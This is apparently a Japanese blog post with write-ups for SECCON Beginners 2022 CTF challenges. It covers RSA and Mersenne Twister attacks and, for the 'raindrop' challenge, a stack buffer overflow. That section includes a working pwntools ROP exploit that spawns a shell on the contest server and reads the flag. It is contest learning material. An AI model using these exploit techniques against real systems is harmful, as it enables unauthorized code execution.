kakujiroのblog

日々のアウトプットとしての雑記帳。カテゴリが貯まればそのうちHPに移行するかも。

SECCON Beginners 2022

CTF

３度目のCTF出場。pwnの勉強を始めたのでcrypto+pwnを狙ったものの、cryptoは2/5でpwnは1/5なので惨敗。特にcryptoがあかん、一番簡単な問題が解けんとはどゆこと・・・？

１週間後にwriteup書いているが、サーバーの問題がなぜか見れなくなっているので、解けなくて手元に問題が残ってたものだけwriteup書きます。

Coughing Fox

from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
    f = flag[i]
    c = (f + i)**2 + i
    cipher.append(c)

shuffle(cipher)
print("cipher =", cipher)

# cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

要約

flagの各文字を出現indexを使って変換した後シャッフルしてる。元のflagを求めよ。

解法

cipherの各文字ごとに、i=0...len(cipher)を総なめしてc-iが平方数になるものを探せばflagの各文字が復元できる。 このときindexも復元できてるのに本番では完全に捨ててました。懺悔。

コード

plain = [None] * len(cipher)
for c in cipher:
    for i in range(len(cipher)):
        if c < i: continue
        p = int((c - i) ** 0.5) - i
        if (p+i)**2+i != c: continue
        plain[i] = chr(p)
''.join(plain)

出力

'ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}'

Unpredictable

import random
import os


FLAG = os.getenv('FLAG', 'notflag{this_is_sample_flag}')


def main():
    r = random.Random()

    for i in range(3):
        try:
            inp = int(input('Input to oracle: '))
            if inp > 2**64:
                print('input is too big')
                return

            oracle = r.getrandbits(inp.bit_length()) ^ inp
            print(f'The oracle is: {oracle}')
        except ValueError:
            continue

    intflag = int(FLAG.encode().hex(), 16)
    encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length())
    print(f'Encrypted flag: {encrypted_flag}')


if __name__ == '__main__':
    main()

要約

random.Random()から３つ数字が出てくるのを観測できるので、そこから４つ目の乱数を当てよ。

解法

PRNGの問題はほとんどやった事がないので、これが一番復習して学びが大きかった。

まずpythonのrandomはメルセンヌツイスターで実装されていることを知る。

内部原理は完璧には追えてないが、32bit出力を624個集めると以降の出力は完全に決まるらしい。

inaz2.hatenablog.com

しかし本問ではクエリは３回しか投げられないのでどうしましょう詰み、という感じで本番は匙投げてた。

ここから先に進むには２つのポイントを押さえなければならない。

1.　r.getrandbits(xxx)でxxxに64(resp. 96)を指定すると、r.getrandbits(32)を２回(resp. ３回)読んだ結果をconcatenateした結果を返す。

これは以下のスクリプトから確認できる：

import random

r = random.Random()
r.setstate((3,tuple(range(625)), None))  # seedを設定

r1 = bin(r.getrandbits(32))[2:]  # 一つ目
r2 = bin(r.getrandbits(32))[2:]  # 二つ目
r1 = "0" * (32 - len(r1)) + r1  # 32bitになるよう成形
r2 = "0" * (32 - len(r2)) + r2  # 32bitになるよう成形

r.setstate((3,tuple(range(625)), None))  # seedをリセット
r3 = bin(r.getrandbits(64))[2:]  # 三つ目
r3 = "0" * (64 - len(r3)) + r3  # 64bitになるよう成形

assert r2 + r1 == r3

これより624個もクエリを送らなくても、32bit * 624 = 19968bit分、r.getrandbits(19968)で１回クエリを送れば十分である。

  1. 問題中で入力文字は264以内に限定されていて19968bitも送れないような気がするが、これは負の数にすれば解決。

ということで-(1<<19968-1)を１回送り込めば終わり。後は上記ブログ記事を参考にメルセンヌツイスターのseedを割ればよい。

注意？：ターミナルに直接-(1<<19968-1)を打ち込むとフリーズしてしまった。python純正ライブラリでsocket通信のスクリプトを書いたらこちらも実行時にフリーズ。なんでやと思いつつ他の人のwriteupを見るとpwntoolsを使っている方を見つけたので、以下の解答はそちらを参考にしてます。

https://zenn.dev/hk_ilohas/articles/ctf4b2022-crypto

コード

from Crypto.Util.number import long_to_bytes
from pwn import *

io = remote("unpredictable-pad.quals.beginners.seccon.jp", 9777)
inp = 1 - (1 << 19968)

# １回目（捨てる）
io.sendlineafter(b": ", str(1).encode())
io.recvline()

# ２回目（捨てる）
io.sendlineafter(b": ", str(2).encode())
io.recvline()

# ３回目（本番）
io.sendlineafter(b": ", str(inp).encode())
io.recvuntil(b": ")
output = int(io.recvline().strip()) ^ inp
output = bin(output)[2:]
output = '0' * (19968 - len(output)) + output
values = [int(output[i:i+32], 2) for i in range(0, 19968, 32)]
values.reverse()

# ４回目（フラグの暗号）
io.recvuntil(b": ")
enc = int(io.recvline().strip().decode())
print(f"{enc=}")

########################

def untemper(x):
    x = unBitshiftRightXor(x, 18)
    x = unBitshiftLeftXor(x, 15, 0xefc60000)
    x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
    x = unBitshiftRightXor(x, 11)
    return x

def unBitshiftRightXor(x, shift):
    i = 1
    y = x
    while i * shift < 32:
        z = y >> shift
        y = x ^ z
        i += 1
    return y

def unBitshiftLeftXor(x, shift, mask):
    i = 1
    y = x
    while i * shift < 32:
        z = y << shift
        y = x ^ (z & mask)
        i += 1
    return y

# シード復元
mt_state = tuple([untemper(x) for x in values] + [624])
random.setstate((3, mt_state, None))

bitlen = len(bin(enc)[2:])
flag = enc ^ random.getrandbits(bitlen)
long_to_bytes(flag)

出力

enc=553598046806874669345719028802231204776880172706428407525600993306770576
b'ctf4b{M4y_MT19937_b3_w17h_y0u}'

omni-RSA

from Crypto.Util.number import *
from flag import flag

p, q, r = getPrime(512), getPrime(256), getPrime(256)
n = p * q * r
phi = (p - 1) * (q - 1) * (r - 1)
e = 2003
d = inverse(e, phi)

flag = bytes_to_long(flag.encode())
cipher = pow(flag, e, n)

s = d % ((q - 1)*(r - 1)) & (2**470 - 1)

assert q < r
print("rq =", r % q)

print("e =", e)
print("n =", n)
print("s =", s)
print("cipher =", cipher)

# rq = 7062868051777431792068714233088346458853439302461253671126410604645566438638
# e = 2003
# n = 140735937315721299582012271948983606040515856203095488910447576031270423278798287969947290908107499639255710908946669335985101959587493331281108201956459032271521083896344745259700651329459617119839995200673938478129274453144336015573208490094867570399501781784015670585043084941769317893797657324242253119873
# s = 1227151974351032983332456714998776453509045403806082930374928568863822330849014696701894272422348965090027592677317646472514367175350102138331
# cipher = 82412668756220041769979914934789463246015810009718254908303314153112258034728623481105815482207815918342082933427247924956647810307951148199551543392938344763435508464036683592604350121356524208096280681304955556292679275244357522750630140768411103240567076573094418811001539712472534616918635076601402584666

要約

RSAもどきでn=pqrは３つの素数の積。dは(q - 1)*(r - 1)による剰余の下470桁が与えられている。dを復元せよ。

解法

dの(q - 1)*(r - 1)による剰余は512桁で下470桁が割れているという問題設定からCoppersmithで上位ビットを解く匂いがする。なのでdに絡む方程式を作りたい。以降d,eはmod (q - 1) * (r - 1)の元での表現とする。

d * e = 1 mod (p - 1) * (q - 1) * (r - 1) => d * e = 1 mod (q - 1) * (r - 1)

であるからこれが方程式になりそうであるが、ここでqもrもわからなくて（r%qのみわかっている）でもCoppersmithやるにはmodulus分かってないと解けないしで詰んでた。

最大の敗因は「modを取り除かなかった」こと。これちょくちょく今までの解けなかった問題で見た記憶があるので、ちゃんと意識持った方がいいな。

上の式でmodを外すと

d * e = k * (q - 1) * (r - 1) + 1

と書ける。ここで両辺の大きさを見比べると、左辺＝(512+11)bit (11=bitlen(e)=bitlen(2003))、右辺＝(bitlen(k)+512)bitなので、kはせいぜい1~2048の範囲に収まる。なのでkを決め打ちして全パターン試して方程式が解けるかチェックすれば良い。

というわけでkが仮にわかっているとして進めよう。dの下470桁が既知なので

d = x * (1 << 470) + s  (xが未知数、bitlen(x) = 512 - 470 = 42)

と書き直す。さらにr%qが分かっているので上の方程式にmod qをとれば

(x * (1 << 470) + s) * e = k * (-1) * (r%q - 1) + 1  (mod q)

後はこれを解けば良いが、どっちみちqがわからないのでCoppersmithできないじゃん。。。

と思いきや、これをmod nで解けばその解はmod qでの解にもなってるんですね、ほほおおお（目から鱗）

というわけでこれでxが分かったので、後は芋づるにk,d->q->r->p->phiと色々割れておしまい。

なおCoppersmithのハイパラ結構シビアらしく、確かに調整に手間取った。

  1. 上限Xを1<<43に指定して
  2. betaとepsilonをx<ceil(0.5 * n^{beta*beta/degree(f)-epsilon})が成り立つ範囲でなるべく小さく取る

よう意識して色々実験してたらbeta=0.24,epsilon=beta/16で刺さった。注意点というか気付きとして、x<ceil(0.5 * n^{betabeta/degree(f)-epsilon})が成り立つようbeta,epsilonを選んでいたとしてもsmall_roots()で解が出てくるとは限らない*んだな。なんか定量的にハイパラ決める方法ないのか？？？

コード

from tqdm import tqdm
from Crypto.Util.number import long_to_bytes, isPrime
from gmpy2 import iroot

PR.<y> = PolynomialRing(Zmod(n))
for k in tqdm(range(1, 2048)):
    f = (y * (1 << 470) + s) * e - 1 - k * (-1) * (rq - 1)
    f = f.monic()
    roots = f.small_roots(X = 1<<43, beta=beta, epsilon=epsilon)
    if roots:
        print(f"{k=}, {roots=}")
        break

x = roots[0]
d0 = x * (1 << 470) + s

#    d0 * e - 1 = k * (q - 1) * (q + rq - 1)
# => k * q^2 + k * (rq - 2) * q - k * (rq - 1) + 1 - d0 * e = 0
D = k*k*(rq - 2)*(rq - 2) - 4 * k * (-k * (rq - 1) + 1 - d0 * e)
sqr, ret = iroot(int(D), int(2))
assert ret
q = (-k * (rq - 2) + sqr) // (2 * k)

r = q + rq
p = n // (q * r)
assert isPrime(p) and isPrime(q) and isPrime(r)
phi = (p - 1) * (q - 1) * (r - 1)
d = inverse(e, phi)

flag = pow(cipher, d, n)
long_to_bytes(int(flag))

出力

k=1576, roots=[3248825676044]
b'ctf4b{GoodWork!!!YouAreTrulyOmniscientAndOmnipotent!!!}'

教訓

  • 行き詰まったらmodを外す。
  • Coppersmithはmodulus不明でもそれを因数にもつmodulusを使える。
  • CoppersmithはX,beta,epsilonの調整頑張る。

raindrop

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void help() {
    system("cat welcome.txt");
}

void show_stack(void *);
void vuln();

int main() {
    vuln();
}

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
    puts("stack dump...");
    printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
    puts("========+===================");
    for (int i = 0; i < 5; i++) {
        unsigned long *p = &((unsigned long*)ptr)[i];
        printf(" %06d | 0x%016lx ", i, *p);
        if (p == ptr)
            printf(" <- buf");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
            printf(" <- saved rbp");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
            printf(" <- saved ret addr");
        puts("");
    }
    puts("finish");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    help();
    alarm(60);
}

要約

実行するとまずスタックの様子をshow_stack関数が示してくれて、その後48byteの文字列入力ができる。最後にもう一度show_stackが呼ばれて終了。

解法

bufferが16byteしか確保されてないが、48byte入力できるので、明らかにbof攻撃してくださいと言わんばかり。しかもスタックを見せてくれるという超親切設計。

help関数内にsystemコールがあるので、bof攻撃によりvuln関数の終了時点でのeipをsystemに書き換えてsystem("/bin/sh")でflag.txtをcatすれば終わりという予想はたつ。そこで

  • systemコールのアドレス
  • "/bin/sh"を書き込んだbufferのアドレス

が分かれば良い。

前者はgdbでhelp関数をdisassembleすればすぐ分かる：

gdb-peda$ pdisas help
Dump of assembler code for function help:
   0x00000000004011d6 <+0>:   endbr64
   0x00000000004011da <+4>:   push   rbp
   0x00000000004011db <+5>:   mov    rbp,rsp
   0x00000000004011de <+8>:   lea    rdi,[rip+0xe23]        # 0x402008
   0x00000000004011e5 <+15>:  call   0x4010a0 <system@plt>
   0x00000000004011ea <+20>:  nop
   0x00000000004011eb <+21>:  pop    rbp
   0x00000000004011ec <+22>:  ret
End of assembler dump.

ここで要注意点！！！systemの在処として飛ばす先はpltの0x4010a0ではなくcallしている0x4011e5が正解！！！

本番ではずっとpltの方に飛ばそうとしてうまくいかずウンウン唸っていたが、どうもamd64の仕様として関数呼び出し時はスタックサイズが16の倍数になってないと怒られるらしい。以下discordから引用：

amd64では「関数呼び出し時は、スタックが16バイトアライメントにそっている」ことを前提としたABIになっています。(アライメントが沿っていない場合は、system関数内部のXMM系レジスタ操作でSegmentation Faultが発生するようです) https://stackoverflow.com/questions/49391001/why-does-the-x86-64-amd64-system-v-abi-mandate-a-16-byte-stack-alignment pushやpop、及び暗黙にそれらを使用するcallやretでは8バイト単位でRSPが変わるので、1回それらが入るごとに「アライメントにそっている<=>そっていない」が切り替わる動作になります

後者はASLR有効のためbufferのアドレスは毎回変わってしまうのだが、最初に呼ばれるshow_stackによりsaved_rbpのアドレスは分かるので、そこから逆算すればなんだかbufferのアドレスは出せそうである。これはmain関数がvuln関数を呼ぶ流れを追うと、saved_rbpに書かれている値は丁度現在のrbpから16byte上（その区間にsaved_rgbとeipが保存されている）ということがmain関数のディスアセンブルで分かる。

（push rbpで8byte積まれて、次のcall vulnでeip戻り先アドレスの8byteがさらに積まれてる）

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000004011ed <+0>:   endbr64
   0x00000000004011f1 <+4>:   push   rbp
   0x00000000004011f2 <+5>:   mov    rbp,rsp
   0x00000000004011f5 <+8>:   mov    eax,0x0
   0x00000000004011fa <+13>:  call   0x401206 <vuln>
   0x00000000004011ff <+18>:  mov    eax,0x0
   0x0000000000401204 <+23>:  pop    rbp
   0x0000000000401205 <+24>:  ret
End of assembler dump.

vuln関数ではrgbから16byteスタックにbufferとして確保されていることがgdbもしくはshow_stackの出力から分かるので、結論saved_rbpから16+16=32byte下がったところがbufferのアドレスとなる。

以上を踏まえて以下の入力が攻撃文字列となる：

b"/bin/sh\x00" + b"AAAAAAAA" + b"(saved_rbpの値)" + b"(systemコールのアドレス)" + b"(systemに渡す引数＝bufferのアドレス)"
  • 前２ブロックがbuffer分で、
  • ３ブロック目がsaved_rbpでここは変更なし。
  • ４ブロック目がeip戻り先で、ここが本来はmainでvulnから帰ってくるアドレスなのをsystemに飛ぶよう書き換える。
  • ５ブロック目はsystem("/bin/sh")の引数"/bin/sh"が書かれているアドレス、すなわちbufferのアドレスを指す。

なおsaved_rbpのアドレスは./challを動かさない限り取れないので、これはターミナルでechoにより文字列を流し込む方法ではどうやっても無理。pwntoolを使うしかない。（pwntool使い方まだ分かってなかったのでどっちみち本番は詰んでたw）

コード

以下のコードはdiscordに上がっていたyu1hpaさんのスクリプトをそのまま引用しています。 pwntoolsはjupyterだと動かんのですかね、io.interactive()の後シェルとやり取りできなくなる。 代わりにio.sendline(b"ls")とか試してみたけどダメでした。うむむ。。。

from pwn import *

HOST = "raindrop.quals.beginners.seccon.jp"
PORT = 9001
file = "./chall"
e = ELF(file)

context(os = 'linux', arch = 'amd64')
#context.log_level = 'debug'

rop_pop_rdi = 0x00401453
rop_ret = 0x0040101a
call_system_addr = 0x4011e5

io = remote(HOST, PORT)
#io = process(file)

io.recvuntil("000002 | ")
stack_addr = int(io.recvuntil(" ")[:-1], 16)
print(f'{stack_addr:x}')
binsh_addr = stack_addr - 0x20
binsh = b"/bin/sh"

pld = binsh + b"\x00"*(16 - len(binsh)) + p64(stack_addr)
pld += p64(rop_pop_rdi)
pld += p64(binsh_addr)
pld += p64(call_system_addr)
io.sendlineafter("understand?", pld)

io.interactive()

出力

[*] '/mnt/cryptohack/SECCON2022ForBeginners/raindrop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to raindrop.quals.beginners.seccon.jp on port 9001: Done
untitled.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil("000002 | ")
untitled.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  stack_addr = int(io.recvuntil(" ")[:-1], 16)
7ffe69a6af10
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode

bye!
stack dump...

[Index] |[Value]             
========+===================
 000000 | 0x0068732f6e69622f  <- buf
 000001 | 0x0000000000000000 
 000002 | 0x00007ffe69a6af10  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00007ffe69a6aef0 
finish
$ ls
chall
flag.txt
redir.sh
welcome.txt
$ cat flag.txt
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}